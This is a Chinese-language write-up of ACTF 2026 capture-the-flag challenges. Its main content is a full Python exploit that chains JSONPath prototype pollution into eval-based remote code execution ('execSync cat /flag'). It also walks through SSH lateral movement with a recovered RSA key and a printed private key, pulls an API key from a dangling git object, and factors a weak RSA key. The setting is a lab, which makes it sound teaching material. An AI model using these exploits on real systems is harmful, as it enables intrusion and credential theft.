ACTF2026
∀gent
先看看 /api/* 端点。

从 /api/debug/dependencies 能直接看到 jsonpath: 1.1.1、jsYaml: 4.1.0 等,走的是 JSONPath 库,路径字段可能可控。
附件的path-builder.js 里 sanitizeSegment 只是做了个 trim(),. 随便过。server.js 里 POST /api/projects/:id/agent/override 直接把用户的 scope/environment/section/field 扔给 buildPropertyPath。最终拼出来的路径交给 JSONPath 的 replace 函数去改 YAML。


JSONPath 支持 constructor.prototype 这种内置属性的遍历,如果 environment 写成 constructor、section 写成 prototype、field 写成任意 key,就能往 Object.prototype 上挂属性。
先试试:

请求成功返回 state: completed,说明这条路径确实打到了原型链。
接下来分析 tool-registry.js 里的 executeFormulaExpression:

expression 从 workspacePolicy.formula 来,但如果 Object.prototype.formula 被污染了,没在 policy 里显式写 formula 的 workspace 就会走原型链上的值。
但这条 eval 有几个前置校验
selectorProfile 要设成 catalog 才允许调 helper,bindingProfile 设成 compat 才允许点号等被拦截字符,resultProfile 设成 wide 才不对返回值做 safe integer 校验
最后把 formula 写成带 pick.constructor(...)().mainModule.require('child_process').execSync('cat /flag') 的 payload
随便触发一个普通 override job,policy evaluate 会自动用被污染的formula跑 eval,shell执行结果直接出现在 job events 的 policy.evaluate 输出里
攻击分 4 步
import requestsimport time
BASE = "http://web-0856acd738.adworld.xctf.org.cn:80"WS = "workspace-main"
def do_override(field, value, desc="", timeout=60): while True: try: resp = requests.post( f"{BASE}/api/projects/{WS}/agent/override", json={ "instruction": desc, "scope": "release", "environment": "constructor", "section": "prototype", "field": field, "value": value, }, timeout=timeout, ) data = resp.json() if "error" in data and data["error"] == "rate_limited": wait = data.get("retryAfter", 10) + 2 time.sleep(wait) continue return data except Exception as e: time.sleep(15)
def trigger_eval(): while True: try: resp = requests.post( f"{BASE}/api/projects/{WS}/agent/override", json={ "instruction": "trigger", "scope": "release", "environment": "staging", "section": "image", "field": "tag", "value": "v99.99.99", }, timeout=120, ) data = resp.json() if "error" in data and data["error"] == "rate_limited": wait = data.get("retryAfter", 10) + 2 time.sleep(wait) continue return data except Exception as e: time.sleep(15)
def extract_flag(job_data): for evt in job_data.get("events", []): det = evt.get("detail", {}) if det.get("tool") == "policy.evaluate": out = det.get("output", {}) fr = out.get("formulaResult") if fr and "ACTF" in str(fr): return str(fr).strip() return None
def main(): print("[1/4] 污染 Object.prototype.selectorProfile = 'catalog'(启用 helper)") r = do_override("selectorProfile", "catalog", "step1") print(f" -> {r.get('job', {}).get('state')}") time.sleep(22)
print("[2/4] 污染 Object.prototype.bindingProfile = 'compat'(允许 . 符号)") r = do_override("bindingProfile", "compat", "step2") print(f" -> {r.get('job', {}).get('state')}") time.sleep(22)
print("[3/4] 污染 Object.prototype.resultProfile = 'wide'(允许非整数返回值)") r = do_override("resultProfile", "wide", "step3") print(f" -> {r.get('job', {}).get('state')}") time.sleep(22)
print("[4/4] 污染 Object.prototype.formula = RCE payload") payload = ( "pick.constructor(" "\"return globalThis.process.mainModule." "require('child_process').execSync('cat /flag').toString()\"" ")()" ) r = do_override("formula", payload, "step4") print(f" -> {r.get('job', {}).get('state')}") time.sleep(22)
print("[*] 触发 policy.evaluate ...") resp = trigger_eval() job = resp.get("job", {})
if job.get("state") == "failed": print(f"[!] Job 失败: {job.get('error', '')[:300]}")
flag = extract_flag(job) if flag: print(f"\n[+] FLAG: {flag}") else: print("ERROR") for evt in job.get("events", []): det = evt.get("detail", {}) if det.get("tool") == "policy.evaluate": print(det.get("output", {}))
if __name__ == "__main__": main()
flag
ACTF{1n_f4c7_∀_D0esn'7_ref3r_2_und3rwe4r_bu7_an_1nVer7ed_A}ezssh
获取 SSH 实例,登入


以 guest 身份在 bastion 上逛一圈,发现还有一个 inuebisu 用户,而且它的 .ssh 目录大部分可读:

authorized_keys 和 config 可读,authorized_keys 里有三条公钥:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKXQ5xqRr/u5lkjHIO+RudbCuWdV19qSJCO1dDWqJPNd macbookpro@inuebisussh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvMDKzZ6D+MTDUToYDHiRG/oC+qcPo0gGNhfPzFnfGIU0em7gP911RUHSsRBi9LGBPo4u2KHSdkBrvh5aDClBCDumoLv/UVH2Q9qxxRIQW9uKNMvMNao+Ux30a2MjWM5+KR/xGeujO3YYIkJBx9bI5jkipu5l3UhPRjtTxChTe3T7x7bwZEeW9dsV4NtWM2EyQEX21mfAtb1uHQrL5Ce6kweKmBu/xR7y5r7GDaygBgGQLVjeqXJ6wLew/DPcFcWqMoAULpcUScVZ7F1Rz8AeqLbtZ0fHZbBZVEKgHji2f7K3TwIKe0IfRjICJzaEvHM7SROvEbd7DtVM+lZ1O57Kjw== root@oldgwssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZzVKuczlYY6gw+oeJz1bDf9amct9l/wLMeFLQvaBJzPzIzBFIWNLlfU/MFaAymUQOREWNXvHBKVIBT3kh0m7ATIElHW3FHM2QRFT6ZyK6DYsezJTDHOXEJIGb22aqn/4dI0rK0Wfk/glQJ/Fdx+fw139xmZeGf67rSYEI1t4ARt6ANmT5lTtKmed2+E3i/mRs8Koh+1sxO7Q+JnKGqIfxHGJ0xr86UMZleDNS3JH0dArfkGuEVGj6auKtC6VEFUeliVMpyJkG7f+sPmhcFWhzhxq7M9G7Rk0LE8WI8PiilZoUC7QXvsHM6+CvEPtUYv5NJdhgS1a3hvz9kiuhaUgoOM4CXBUT6QrzLR1yAXnYv9VVbGzgX284SlrGcozx96RyzIMx9BebIUvamyM5++KHJHED+m296+j1G8RTKNk1Mvap0oucVcNLHQ4BnjdFDDsygqJPPJIlUboo7frjvzb3dsIyUiGDPB7UC1SZRZ1yDguNUFvKxq1SV3pDisrPPRs= yubikey-backup@inuebisu第二条是 root@oldgw 的 RSA 公钥。
SSH config 里配了跳板路由:

意味着持有 oldgw root 私钥的人可以直接 SSH 到 inuebisu。
读取 inuebisu 的 bash_history

现在清楚了,inuebisu 从 oldgw 上把 root 的公钥拖过来,加到了自己的 authorized_keys 里。这是为了方便 oldgw 免密连接,只要拿到 oldgw root 的私钥,就能以 inuebisu 的身份登录。
提取root@oldgw 的 RSA 公钥


有了 p、q、e,算出 d,用 cryptography 库生成标准 PEM 文件。
from cryptography.hazmat.primitives.asymmetric import rsafrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.backends import default_backend
p = 144435643136428279487862373658031255739732662974177555050103495119027651361002552541675605014403449605032671229575107642221281460227469902386567531661413826169139506020762507686302103244886033435327777969457112655452826806728440297374158562870645956063593721107544766076371924529016985736551215416260027460319q = 164972233953473386473465413087505460913155887782007753974247095726282012719469241419431809558878865126937800943754410540589686077369857600053514259720744660459961620138924969775794736951405212319211250903062798084702535036498424075682713807906782662215674600203029303267366365741951562438807852219383657760337e=35n=p * q
phi = (p - 1) * (q - 1)d = pow(e, -1, phi)
priv = rsa.RSAPrivateNumbers( p=p, q=q, d=d, dmp1=d % (p - 1), dmq1=d % (q - 1), iqmp=pow(q, -1, p), public_numbers=rsa.RSAPublicNumbers(e=e, n=n)).private_key()
pem = priv.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption())with open('oldgw_root_key.pem', 'wb') as f: f.write(pem)
import os, statos.chmod('oldgw_root_key.pem', stat.S_IRUSR | stat.S_IWUSR)用 oldgw root 私钥以 inuebisu 身份登录

读取 flag1 和 inuebisu 的 ed25519 私钥
flag1 在 inuebisu 的home目录,同时把他自己的 ssh 私钥也读出来:

flag1: ACTF{O1DGw_N3vER_d!E5_
ed25519 私钥:
-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACDPRfFaSl4IWjYbY7/wgdR9RpSe6jMnHf5VsKV/JCCnzgAAAKB7xa86e8WvOgAAAAtzc2gtZWQyNTUxOQAAACDPRfFaSl4IWjYbY7/wgdR9RpSe6jMnHf5VsKV/JCCnzgAAAEAEymr35UDO3S+viHdSkRZKUHBxU49bufJhimZugZsXJM9F8VpKXghaNhtjv/CB1H1GlJ7qMycd/lWwpX8kIKfOAAAAGmludWViaXN1QGJhc3Rpb24tdG8tZ2l0LTAxAQID-----END OPENSSH PRIVATE KEY-----把私钥存下来给后续跳板用
跳板到 git-01,读取 flag2
上一步拿到的 ed25519 私钥配合 SSH config 里的 Host 别名,直接连 git-01:

flag2: h!s70ry_sT!lL_1eaK$_
查看 git-01 上的仓库和 SSH 密钥

发现 gitops 里还有一把 backup_ro 私钥
git log 看到 5 个 commits

git fsck --lost-found 还有一个悬空对象:

展开这个悬空 commit:

拿到 API Key。这个文件是通过 /usr/local/bin/init-repo.sh 写入然后被 git filter-branch 删掉的,但悬空对象一直留在 .git 里。

用 backup_ro 密钥连 backup-01
gitops 的 .ssh/backup_ro 是给 backup-01 用的。但 backup-01 只开放 SFTP,不给 shell。

换 SFTP,翻 backup-01 的目录,一层层翻下去,发现了ai-gateway.service
下载

读取,拿到了 AI 网关地址 10.61.22.40:8080 和模型名 deepsleep-v8。

之前从 git 泄露拿到的 API Key + 刚拿到的网关地址 + 模型名,直接调接口:

@70M1c_b0mBiN9}flag
ACTF{O1DGw_N3vER_d!E5_h!s70ry_sT!lL_1eaK$_@70M1c_b0mBiN9}ZJUAM Just Uses Awful Math
看一眼协议分级:

共 21 个包,全部是 TCP/HTTP 流量,没有 TLS。
过滤下http,看见三条关键记录:

登录流程是:
GET /cas/login— 获取登录页面GET /cas/v2/getPubKey— 获取 RSA 公钥POST /cas/login— 提交表单,密码字段为 RSA 加密后的 hex 字符串
追踪流:
流 1 的响应体:

拿到 模数 n 和指数 e=65537。
流 2 的请求体:

拿到密文 c。
放到CyberChef里看一下长度

image-20260510170150146

长度为64,即256位RSA,很弱,可以爆破。
先试试 FactorDB 里有没有,直接拿到了p、q:

d:p = 202555251191383333988748320354737959551q = 321566364572398185024295275472079273917e=65537phi = (p - 1) * (q - 1)
def egcd(a, b): if a == 0: return b, 0, 1 g, x1, y1 = egcd(b % a, a) return g, y1 - (b // a) * x1, x1
_, d, _ = egcd(e, phi)if d < 0: d += phi
print(f"d = {d}")
用私钥 d 解密密文 c:
c = 0x590948ad2f7a3c0b1a2a5e5f470f4297db3b90623251132be2c5e5395cd12563d =57449394726814929042902532280545079775758564580188876356191663298485522431073n=65134955750662064990047457927999496458621987626625285735948429340634195331267
m = pow(c, d, n)flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, "big")flag = flag_bytes.decode("ascii")
print(flag)
flag
ACTF{TLS_s@ves_THE_w0RLd}special day
base64

flag
ACTF{Happy_Mothers_Day_Mom}
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!